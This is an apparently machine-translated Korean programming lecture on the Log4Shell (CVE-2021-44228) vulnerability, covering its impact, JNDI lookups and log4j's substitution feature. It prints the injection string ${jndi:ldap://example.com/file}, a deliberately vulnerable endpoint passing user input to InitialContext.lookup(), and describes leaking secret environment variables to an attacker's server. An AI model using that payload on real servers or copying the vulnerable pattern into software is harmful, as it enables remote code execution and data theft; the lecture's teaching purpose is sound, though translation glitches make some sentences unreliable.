CodeGym /ํ–‰๋™ /All lectures for KO purposes /Log4Shell ์ทจ์•ฝ์ 

Log4Shell ์ทจ์•ฝ์ 

All lectures for KO purposes
๋ ˆ๋ฒจ 1 , ๋ ˆ์Šจ 953
์‚ฌ์šฉ ๊ฐ€๋Šฅ

7.1 ์Šค์บ”๋“ค

๋ฌผ๋ก  ์•„์ฃผ ์ตœ๊ทผ์ธ 2021๋…„ ๋ง์— ์ผ์–ด๋‚œ ์ด์•ผ๊ธฐ๋ฅผ ๋งํ•˜์ง€ ์•Š๋Š” ๊ฒƒ์€ ๋ถˆ๊ฐ€๋Šฅํ•ฉ๋‹ˆ๋‹ค.

Log4Shell

๋ฏธ๊ตญ ์‚ฌ์ด๋ฒ„ ๋ณด์•ˆ ๋ฐ ์ธํ”„๋ผ ๋ณดํ˜ธ๊ตญ(CISA)์€ ์ด ๋ฌธ์ œ๊ฐ€ Log4Shell์—ญ์‚ฌ์ƒ ๊ฐ€์žฅ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜๋ผ๊ณ  ๋งํ–ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ, ์šฐ๋ฆฌ๋Š” ์šฐ๋ฆฌ๊ฐ€ ๊ฐ€์žฅ ์ข‹์•„ํ•˜๋Š” ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ๋Œ€ํ•ด ์ด์•ผ๊ธฐํ•˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค log4j.

์šฐ๋ฆฌ์˜ ์•„๋Š‘ํ•œ ์ž‘์€ ๋„์„œ๊ด€ log4j ๊ณผ ์—ญ์‚ฌ์ƒ ๊ฐ€์žฅ ํฐ ์ทจ์•ฝ์  ? ํฅ๋ฏธ๊ฐ€ ์žˆ์Šต๋‹ˆ๊นŒ? ๊ทธ๋Ÿผ ๋“ค์–ด๋ด.

7.2 ์žฌํ•ด ๊ทœ๋ชจ

Log4ShellLunasec ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€๋Š” 2021๋…„ 12์›” 9์ผ ์น˜๋ช…์ ์ธ ์ทจ์•ฝ์ (์ฝ”๋“œ CVE-2021-44228)์„ ๋ฐœ๊ฒฌํ–ˆ๋‹ค๊ณ  ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค. Apache Security Team Java ์ปค๋ฎค๋‹ˆํ‹ฐ์˜ ์ „๋ฌธ๊ฐ€๊ฐ€ ์ด ์ •๋ณด๋ฅผ ํ™•์ธํ•˜๊ณ  ์ทจ์•ฝํ•œ Java ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ๋ชฉ๋ก์„ ๊ฒŒ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. ๋ชฉ๋ก์€ ์—„์ฒญ๋‚ฌ์Šต๋‹ˆ๋‹ค.

Java ํ”„๋กœ์ ํŠธ๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ์‚ฌ์šฉํ•˜๋Š” ๊ฒฝ์šฐ log4j์ƒ๋‹นํžˆ ์‰ฝ๊ฒŒ ํ•ดํ‚น๋  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ฑฐ์˜ ๋ชจ๋“  ์„œ๋ฒ„ ์†Œํ”„ํŠธ์›จ์–ด๊ฐ€ ๊ฐ€์žฅ ๋„๋ฆฌ ์‚ฌ์šฉ๋˜๋Š” ์ž๋ฐ” ๋กœ๊ฑฐ๋กœ ์ž‘์„ฑ๋œ๋‹ค๋Š” ์ ์„ ๊ฐ์•ˆํ•˜๋ฉด Java๋ณด์•ˆ log4j์ „๋ฌธ๊ฐ€์— ๋”ฐ๋ฅด๋ฉด ์ด ์ทจ์•ฝ์ ์€ ๊ธฐ์—… ํด๋ผ์šฐ๋“œ ํ™˜๊ฒฝ์˜ 93%์— ์˜ํ–ฅ์„ ๋ฏธ์ณค๋‹ค. Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam ๋“ฑ์„ ํฌํ•จํ•ฉ๋‹ˆ๋‹ค.

๋˜ํ•œ ์ด ์ทจ์•ฝ์ ์€ ์„œ๋ฒ„ ์†Œํ”„ํŠธ์›จ์–ด๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ๋งŽ์€ Java ์• ํ”Œ๋ฆฌ์ผ€์ด์…˜๊ณผ ํ•˜๋“œ์›จ์–ด ์ œ์กฐ์—…์ฒด์—๋„ ์˜ํ–ฅ์„ ๋ฏธ์ณค์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ์ธํ…”์€ SDK, ์„œ๋ฒ„ ์œ ์ง€ ๊ด€๋ฆฌ ์‹œ์Šคํ…œ, Linux ๋„๊ตฌ ๋“ฑ 32๊ฐœ์˜ ํ•ดํ‚น ๊ฐ€๋Šฅํ•œ ํ”„๋กœ๊ทธ๋žจ ๋ชฉ๋ก์„ ๊ฒŒ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค.

Nvidia๋Š” ๋˜ํ•œ DGX ์„œ๋ฒ„ ๋ฐ NetQ ๋„๊ตฌ๋ฅผ ์–ธ๊ธ‰ํ•˜๋Š” ๋ณด์•ˆ ๋ฌธ์ œ ๋ณด๊ณ ์„œ๋ฅผ ๊ฒŒ์‹œํ–ˆ์Šต๋‹ˆ๋‹ค. Apple๊ณผ Microsoft์—์„œ ๊ธด๊ธ‰ํ•˜๊ฒŒ ์—ฌ๋Ÿฌ ๊ฐ€์ง€ ์—…๋ฐ์ดํŠธ๋ฅผ ๋ฐœํ‘œํ–ˆ์Šต๋‹ˆ๋‹ค.

๋Œ€๋žต์ ์œผ๋กœ ๋งํ•˜๋ฉด, ํ•™์ƒ ๋ธŒ๋ผ์šฐ์ €์˜ ์ฃผ์†Œ ํ‘œ์‹œ์ค„์— ์žˆ๋Š” ํ•œ ์ค„์€ ๋กœ๊ฑฐ๊ฐ€ ์ด ์ค„์„ ๋จน์€ ๊ฒฝ์šฐ ์„œ๋ฒ„์— ๋„ฃ์Šต๋‹ˆ๋‹ค (๋งŽ์€ ์„œ๋ฒ„์—์„œ ๋ชจ๋“  ๊ฒƒ์ด ๊ธฐ๋ก๋จ HTTP-requests).

์ฝ”๋“œ๋ฅผ ๋ถ„์„ํ•œ ๊ฒฐ๊ณผ, ์ทจ์•ฝ์ ์ด 2013๋…„๋ถ€ํ„ฐ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์กด์žฌํ–ˆ์Œ์ด ๋ฐํ˜€์กŒ์ง€๋งŒ ์ด์ œ์„œ์•ผ ์•Œ์•„์ฐจ๋ ธ์Šต๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  ๊ทธ๋“ค์ด ๋” ๊นŠ์ด ํŒŒ๊ธฐ ์‹œ์ž‘ํ–ˆ์„ ๋•Œ ๊ทธ๋“ค์€ ๋ฐ”๋‹ฅ์ด ์ „ํ˜€ ๋ณด์ด์ง€ ์•Š๋Š” ์‹ฌ์—ฐ์„ ๋ฐœ๊ฒฌํ–ˆ์Šต๋‹ˆ๋‹ค.

7.3 ์—ญ์‚ฌ์ƒ ๊ฐ€์žฅ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์ 

2021๋…„ 12์›” ๋ฏธ๊ตญ CISA(Cybersecurity and Infrastructure Protection Agency)๋Š” ์—ญ์‚ฌ์ƒ ๊ฐ€์žฅ ์‹ฌ๊ฐํ•œ ์ทจ์•ฝ์  ์ค‘ ํ•˜๋‚˜๋ผ๊ณ  ๋ฐํ˜” ์Šต๋‹ˆ๋‹ค .Log4Shell

๋‹ค๋ฅธ ๋งŽ์€ ์ „๋ฌธ๊ฐ€๋“ค๋„ ๋น„์Šทํ•œ ์˜๊ฒฌ์„ ํ‘œ๋ช…ํ•ฉ๋‹ˆ๋‹ค . ๋ชจ๋“  ์‚ฌ๋žŒ์ด ์ด ์ทจ์•ฝ์ ์— ๋Œ€ํ•ด ์•Œ๊ณ  ์žˆ์œผ๋ฉฐ ๋ชจ๋“  ์—ฐ๋ น๋Œ€์˜ ํ•ด์ปค๊ฐ€ ์ด๋ฏธ ์ด ์ทจ์•ฝ์ ์„ ์‚ฌ์šฉํ•˜์—ฌ ๋‹ค์–‘ํ•œ ์กฐ์ง์— ๋Œ€ํ•œ ๊ฐœ์ธ ๋ฐ์ดํ„ฐ ๋ฐ ๊ธฐํƒ€ ์œ ํ˜•์˜ ๊ณต๊ฒฉ์„ ํ›”์น˜๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค. ์•ž์œผ๋กœ ์šฐ๋ฆฌ๋Š” ๋Œ€๊ทœ๋ชจ ํ•ดํ‚น๊ณผ ๋ฐ์ดํ„ฐ ์œ ์ถœ์˜ ๋ฌผ๊ฒฐ์„ ๊ธฐ๋‹ค๋ฆฌ๊ณ  ์žˆ์Šต๋‹ˆ๋‹ค.

์žฌ๋‚œ์˜ ๊ทœ๋ชจ๋Š” Log4j์— ๋Œ€ํ•œ ๋ฐˆ์ด ์žˆ๋Š” ๋ณ„๋„์˜ ์‚ฌ์ดํŠธ๊ฐ€ ์žˆ๊ณ  ๋งค์ผ ์ƒˆ๋กœ์šด ์‚ฌ์ง„์ด ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค๋งŒ์œผ๋กœ๋„ ๊ฐ€๋Š ํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค .

์ด ๋ฌธ์ œ๋Š” ์˜ค๋žซ๋™์•ˆ ์šฐ๋ฆฌ์™€ ํ•จ๊ป˜ํ–ˆ์Šต๋‹ˆ๋‹ค. ์ˆ˜์–ต ๋Œ€๋Š” ์•„๋‹ˆ๋”๋ผ๋„ ์ˆ˜๋ฐฑ๋งŒ ๋Œ€์˜ ์ปดํ“จํ„ฐ ์‹œ์Šคํ…œ์— ์กด์žฌํ•˜๋Š” ๋ณด์•ˆ ํ—ˆ์ . ๋ชจ๋“  ์˜ค๋ž˜๋œ ์†Œํ”„ํŠธ์›จ์–ด๋ฅผ ์—…๋ฐ์ดํŠธํ•˜๊ณ  ์ตœ์†Œํ•œ ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ๋ฅผ ๊ต์ฒดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ๊ทธ๋Ÿฌ๋‚˜ ๋Œ€๋ถ€๋ถ„์˜ ๊ฒฝ์šฐ ์†Œํ”„ํŠธ์›จ์–ด์—์„œ ์–ด๋–ค ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์™€ ๋ฒ„์ „์ด ์‚ฌ์šฉ๋˜๋Š”์ง€ ์•„๋ฌด๋„ ๋ชจ๋ฆ…๋‹ˆ๋‹ค.

์ผ๋ฐ˜์ ์œผ๋กœ ์ปดํ“จํ„ฐ ๋ณด์•ˆ ์ „๋ฌธ๊ฐ€์˜ ๊ธ‰์—ฌ๊ฐ€ ๊ธ‰๊ฒฉํžˆ ์ฆ๊ฐ€ํ•  ๊ฒƒ์œผ๋กœ ์˜ˆ์ƒ๋ฉ๋‹ˆ๋‹ค.

7.4 ์ทจ์•ฝ์„ฑ์˜ ํŠน์„ฑ

์ทจ์•ฝ์ ์˜ ๋ณธ์งˆ์„ ์ดํ•ดํ•˜๋ ค๋ฉด ๋Œ€๊ทœ๋ชจ ์„œ๋ฒ„ ์‹œ์Šคํ…œ์ด ์–ด๋–ป๊ฒŒ ๋ฐฐ์—ด๋˜์–ด ์žˆ๋Š”์ง€ ์ดํ•ดํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค. ์ข…์ข… ์ด๋Ÿฌํ•œ ์„œ๋ฒ„ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์€ ์„œ๋กœ ๋‹ค๋ฅธ ์„œ๋ฒ„์— ์žˆ๋Š” ์„œ๋กœ ๋‹ค๋ฅธ ์„œ๋น„์Šค๋กœ ๋‚˜๋‰ฉ๋‹ˆ๋‹ค. ๊ทธ๋ฆฌ๊ณ  JNDI ์„œ๋น„์Šค๋Š” ์ƒํ˜ธ์ž‘์šฉ์„ ๋•์Šต๋‹ˆ๋‹ค.

JNDI(Java Naming and Directory Interface)๋Š”Java API ์ด๋ฆ„์œผ๋กœ ๊ฐœ์ฒด/์„œ๋น„์Šค๋ฅผ ์กฐํšŒํ•˜๋Š” ๊ฒƒ ์ž…๋‹ˆ๋‹ค . ์ด๋Ÿฌํ•œ ๊ฐ์ฒด๋Š” RMI(Remote Method Invocation), CORBA(Common Object Request Broker Architecture), LDAP(Lightweight Directory Access Protocol) ๋˜๋Š” DNS(Domain Name Service)์™€ ๊ฐ™์€ ๋‹ค์–‘ํ•œ ์ด๋ฆ„ ์ง€์ • ์„œ๋น„์Šค ๋˜๋Š” ๋””๋ ‰ํ† ๋ฆฌ์— ์ €์žฅํ•  ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

Java API๊ทธ๊ฒƒ์œผ๋กœ ์ž‘์—…ํ•˜๋Š” ๊ฒƒ์€ ๋งค์šฐ ๊ฐ„๋‹จํ•ฉ๋‹ˆ๋‹ค. ์„œ๋น„์Šค ์ด๋ฆ„์ด๋ผ๋Š” ํ•˜๋‚˜์˜ ๋ฌธ์ž์—ด ๋งค๊ฐœ ๋ณ€์ˆ˜๋งŒ ์‚ฌ์šฉํ•˜๋Š” ๊ฐ„๋‹จํ•œ ๊ฒƒ์ž…๋‹ˆ๋‹ค . ์ด๋ฅผ ํ†ตํ•ด ๋ชจ๋“  ์„œ๋น„์Šค์— ์—ฐ๋ฝํ•˜์—ฌ ์ž‘์—…์„ ์š”์ฒญํ•˜๊ฑฐ๋‚˜ ์ผ๋ถ€ ๋ฐ์ดํ„ฐ๋ฅผ ๋ณด๋‚ผ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค์–ด ๋ฌธ์ž์—ด์€ ๋ฌธ์ž์—ด์— ์ง€์ •๋œ ${jndi:ldap://example.com/file}this์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋กœ๋“œํ•ฉ๋‹ˆ๋‹ค .URL

๋งค๊ฐœ๋ณ€์ˆ˜๊ฐ€ ์‹ ๋ขฐํ•  ์ˆ˜ ์—†๋Š” ์†Œ์Šค์—์„œ ์˜จ ๊ฒฝ์šฐ ์›๊ฒฉ ํด๋ž˜์Šค ๋กœ๋”ฉ ๋ฐ ํƒ€์‚ฌ ์ฝ”๋“œ ์‹คํ–‰์œผ๋กœ ์ด์–ด์งˆ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค . . Log4j_ ๊ณต๊ฒฉ์ž๋Š” ๋‹จ์ˆœํžˆ ํ”ผํ•ด์ž์˜ Java ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์„ ์•…์˜์ ์ธ ์‘์šฉ ํ”„๋กœ๊ทธ๋žจ์œผ๋กœ ์ง€์ • rmi/ldap/corba-serverํ•˜๊ณ  ๊ทธ์— ๋Œ€ํ•œ ์‘๋‹ต์œผ๋กœ ์•…์„ฑ ๊ฐœ์ฒด๋ฅผ ๋ฐ›์Šต๋‹ˆ๋‹ค.

๊ธฐ์ˆ ์ ์œผ๋กœ ์—ฌ๊ธฐ์„œ ๋ฌธ์ œ๋Š” log4j๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ ์ž์ฒด ์— ์žˆ๋Š” ๊ฒƒ์ด ์•„๋‹ˆ๋ผ JNDI-service. ์–ด๋–ค ์ข…๋ฅ˜์˜ ๋ฌธ์ž์—ด์„ ์ „๋‹ฌํ•˜๋Š”์ง€ ํ•ญ์ƒ ํ™•์ธํ•ด์•ผ ํ•ฉ๋‹ˆ๋‹ค InitialContext.lookup().

์ทจ์•ฝํ•œ ์˜ˆ JNDI-applications:


@RequestMapping("/lookup") @Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 ๋„ˆ๋ฌด ๋˜‘๋˜‘ํ•œ ๋„์„œ๊ด€

๊ทธ๋ฆฌ๊ณ  ์–ด๋””์— log4j๋ฌผ์–ด๋ณด๋‚˜์š”? ๋ฌธ์ œ๋Š” ๊ฐœ๋ฐœ์ž๊ฐ€ ๊ฐ€๋Šฅํ•œ ํ•œ ํŽธ์•ˆํ•˜๊ฒŒ ์ž‘์—…ํ•˜๊ณ  ์Šค๋งˆํŠธ ๋กœ๊น…์„ ์ถ”๊ฐ€ํ•˜๊ธฐ๋ฅผ ์›ํ–ˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค. ์ž‘๋™ ๋ฐฉ์‹์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

์ด ๋ชจ๋“  ๊ฒƒ์€ ๋กœ๊ทธ ๋ฉ”์‹œ์ง€๋ฅผ ํ†ตํ•ด ๋ฐ์ดํ„ฐ๊ฐ€ ๋Œ€์ฒด๋˜๋Š” ํ…œํ”Œ๋ฆฟ์„ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋‹ค๋Š” ์‚ฌ์‹ค์—์„œ ์‹œ์ž‘๋˜์—ˆ์Šต๋‹ˆ๋‹ค. ์˜ˆ๋ฅผ ๋“ค๋ฉด ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.


log.debug(โ€œUser {user} has {count} friendsโ€, user, count);

๋ฐ์ดํ„ฐ ๋Œ€์ฒด๊ฐ€ ์—†๋Š” ์ด์ „ ๋ฒ„์ „์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.


log.debug( โ€œUser โ€œ+user +โ€ has โ€œ+ count +โ€ friendsโ€);

2013๋…„์—๋Š” ๋ทฐ ํ…œํ”Œ๋ฆฟ์— ์ง€์ •๋œ ์Šค๋งˆํŠธ ์ ‘๋‘์‚ฌ ๋Œ€์ฒด๋„ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์— ์ถ”๊ฐ€๋˜์—ˆ์Šต๋‹ˆ๋‹ค ${prefix:name}. ์˜ˆ๋ฅผ ๋“ค์–ด ๋ฌธ์ž์—ด โ€œ${java:version}โ€์€ ยซJava version 1.7.0_67ยป. ์˜ค ์–ผ๋งˆ๋‚˜ ํŽธ๋ฆฌํ•ฉ๋‹ˆ๋‹ค.

์ธ์‹๋˜๋Š” ํ‘œํ˜„์‹ ์ค‘์—๋Š” ${jndi:<lookup>}jndi ํ”„๋กœํ† ์ฝœ ๋‹ค์Œ์„ ํ†ตํ•ด ๊ฒ€์ƒ‰์„ ์ง€์ •ํ•  ์ˆ˜ ์žˆ๋Š” ์œ„์น˜ LDAP๊ฐ€ URL-address์žˆ์Šต๋‹ˆ๋‹ค Java.

์ด๊ฒƒ์€ ์ „์ฒด ์ ‘๊ทผ ๋ฐฉ์‹์˜ ํ‘œ์ค€ ๋ฌธ์ œ์ž…๋‹ˆ๋‹ค JDK. URL ํ˜•์‹์œผ๋กœ ์„ค์ •ํ•  ์ˆ˜ ์žˆ๋Š” ๋งํฌ์ธ ๊ฐœ์ฒด๋ฅผ ์ž๋™์œผ๋กœ ์—ญ์ง๋ ฌํ™”ํ•ฉ๋‹ˆ๋‹ค. ์ด ๊ฒฝ์šฐ ๊ฐ์ฒด์˜ ๋ฐ์ดํ„ฐ๋ฟ๋งŒ ์•„๋‹ˆ๋ผ ํ•ด๋‹น ํด๋ž˜์Šค์˜ ์ฝ”๋“œ๋„ ์›๊ฒฉ ๋ฆฌ์†Œ์Šค์—์„œ ๋กœ๋“œ๋ฉ๋‹ˆ๋‹ค.

ํ•ดํ‚น์€ ๋‹ค์Œ๊ณผ ๊ฐ™์Šต๋‹ˆ๋‹ค.

  • ์•…์„ฑ ์ฝ”๋“œ๊ฐ€ ํฌํ•จ๋œ ํŒŒ์ผ ๋‹ค์šด๋กœ๋“œ
  • ํŒŒ์ผ์— ์ง๋ ฌํ™” Java an object(๋ฐ ํ•ด๋‹น ํด๋ž˜์Šค)๊ฐ€ ํฌํ•จ๋จ
  • ํด๋ž˜์Šค๊ฐ€ ๋กœ๋“œ ์ค‘์ž…๋‹ˆ๋‹ค.Java-machine
  • ์•…์„ฑ ํด๋ž˜์Šค์˜ ๊ฐœ์ฒด๊ฐ€ ์ƒ์„ฑ๋จ
  • ๊ฐœ์ฒด์˜ ์ƒ์„ฑ์ž๊ฐ€ ํ˜ธ์ถœ๋ฉ๋‹ˆ๋‹ค.
  • ์ƒ์„ฑ์ž์™€ ์ •์  ์ดˆ๊ธฐํ™” ๋ชจ๋‘ ์•…์„ฑ ํด๋ž˜์Šค ์ฝ”๋“œ ์‹คํ–‰ ํ—ˆ์šฉ

๊ธฐ๋ก ์ค‘์ธ ๋ผ์ธ์— log4j์ด์™€ ๊ฐ™์€ ๊ฒƒ์ด ์žˆ์œผ๋ฉด ์ธํ„ฐ๋„ท์— ์—ฐ๊ฒฐํ•  ๋•Œ${jndi:ldap://example.com/file} ์—ฌ๊ธฐ log4j์—์„œ ๋ฐ์ดํ„ฐ๋ฅผ ๋‹ค์šด๋กœ๋“œํ•ฉ๋‹ˆ๋‹คURL-address . ๊ธฐ๋ก๋œ ๋ฌธ์ž์—ด์„ ์ž…๋ ฅํ•˜๋ฉด ๊ณต๊ฒฉ์ž๊ฐ€ ๊ณต์šฉ URL-address.

๋ฐ์ดํ„ฐ ์‹คํ–‰์ด ๋น„ํ™œ์„ฑํ™”๋œ ๊ฒฝ์šฐ์—๋„ ๊ณต๊ฒฉ์ž๋Š” ๋น„๋ฐ€ ํ™˜๊ฒฝ ๋ณ€์ˆ˜์™€ ๊ฐ™์€ ๋ฐ์ดํ„ฐ๋ฅผ ์— ๋ฐฐ์น˜ํ•˜์—ฌ ์ด๋ฅผ URL-address๋Œ€์ฒดํ•˜๊ณ  ๊ณต๊ฒฉ์ž์˜ ์„œ๋ฒ„๋กœ ์ „์†กํ•จ์œผ๋กœ์จ ๋ฐ์ดํ„ฐ๋ฅผ ์–ป์„ ์ˆ˜ ์žˆ์Šต๋‹ˆ๋‹ค.

์ข‹์€ ์†Œ์‹์€ ๋ฌธ์ œ๊ฐ€ ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์—์„œ ์‹ ์†ํ•˜๊ฒŒ ์ˆ˜์ •๋˜์—ˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค .

๋‚˜์œ ์†Œ์‹์€ ์ „ ์„ธ๊ณ„ ์ˆ˜๋ฐฑ๋งŒ ๋Œ€์˜ ์„œ๋ฒ„๊ฐ€ ์—ฌ์ „ํžˆ ์ด ๋ผ์ด๋ธŒ๋Ÿฌ๋ฆฌ์˜ ์ด์ „ ๋ฒ„์ „์„ ์‹คํ–‰ํ•˜๊ณ  ์žˆ๋‹ค๋Š” ๊ฒƒ์ž…๋‹ˆ๋‹ค .

์ฝ”๋ฉ˜ํŠธ
TO VIEW ALL COMMENTS OR TO MAKE A COMMENT,
GO TO FULL VERSION